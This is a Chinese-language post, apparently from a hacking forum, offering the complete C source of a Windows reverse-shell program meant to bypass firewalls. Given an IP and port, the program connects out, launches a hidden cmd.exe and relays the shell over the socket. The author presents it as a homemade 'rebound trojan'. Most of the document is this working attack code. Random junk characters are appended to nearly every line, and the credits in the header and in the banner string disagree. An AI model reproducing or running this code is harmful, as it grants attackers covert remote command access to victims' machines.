这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S$Fq1
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/* ============================== HDT-f9%}<4
Rebound port in Windows NT 1U~yu&
By wind,2006/7 o|7
h
===============================*/ f)!7/+9>
#include Y!lc/[8
#include J1{ucFa
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#pragma comment(lib,"wsock32.lib") PU^@BZ_m
wv_<be[?*
void OutputShell(); U Zc%XZ`"V
SOCKET sClient; 5mB'\xGO2
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nW`EBs
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void main(int argc,char **argv) ]*JH~.p
{
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WSADATA stWsaData; d]w%zo,yr
int nRet; *'nZ|r v
SOCKADDR_IN stSaiClient,stSaiServer; h5.AM?*TNd
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if(argc != 3) )m[dfeqd +
{ 5WG:m'$$
printf("Useage:\n\rRebound DestIP DestPort\n"); Bwg\_:vq
return; [u}2xsSx
} 4m3pF0k
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WSAStartup(MAKEWORD(2,2),&stWsaData); &u7oa
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [*AWCV
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stSaiClient.sin_family = AF_INET; E5F0C]hq
stSaiClient.sin_port = htons(0); ;IX*4E'4s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '`fz|.|cbB
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !_SIq`5]@
{ 1I -LGe[Q
printf("Bind Socket Failed!\n"); \w+a Q?e_
return; |8YP8o
} !wZ9P
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stSaiServer.sin_family = AF_INET; S|?Ht61k
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #cD20t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); EU"J'?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {-?8r>
{ -L%2*`-L$
printf("Connect Error!"); ^HasT4M+x
return; q=40l
} lSk<euCYs
OutputShell(); hpVu
} 5};$>47m
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void OutputShell()
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{ }475c{
char szBuff[1024]; }lzN)e
SECURITY_ATTRIBUTES stSecurityAttributes; q"Z!}^{
OSVERSIONINFO stOsversionInfo; >&3ATH;&(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j |tu|Q
STARTUPINFO stStartupInfo; 'o*:~n
char *szShell; [Ifhh2
PROCESS_INFORMATION stProcessInformation; q
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unsigned long lBytesRead; }&mFpc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 66+y@l1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); njy^<7;
stSecurityAttributes.lpSecurityDescriptor = 0; &PAgab2$
stSecurityAttributes.bInheritHandle = TRUE; BOQeP/>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C,!}WB@VME
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6^DsI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P;dp>jL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s;0eD5b>x
stStartupInfo.wShowWindow = SW_HIDE; dWI.t1`i
stStartupInfo.hStdInput = hReadPipe; CY4_=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hR$lX8
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GetVersionEx(&stOsversionInfo); BU="BB/[
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switch(stOsversionInfo.dwPlatformId) ,ZYj8^gF
{ (&6C,O~n^.
case 1: WR*|kh
szShell = "command.com"; }bv0~}G4
break; r $du-U
default: .=>T yq
szShell = "cmd.exe"; 1@ j>2>i
break; K+` Vn
} p.2>-L
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1 ]@}+H
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send(sClient,szMsg,77,0); :{9|/a
while(1) ~?}/L'q!b
{ ?CS
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I_yIVw;
if(lBytesRead) !40t:+I
{ c=2e?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >5Zpx8W
send(sClient,szBuff,lBytesRead,0); vtFA#})~
} Y\T*8\h_[
else %f;(
{ =3=KoH/'
lBytesRead=recv(sClient,szBuff,1024,0); F_~-o,\
if(lBytesRead<=0) break; Q;P ~'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lq@Vb{Z
} s8|#sHT
} &1Fcwj
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return; JMOP/]%D
}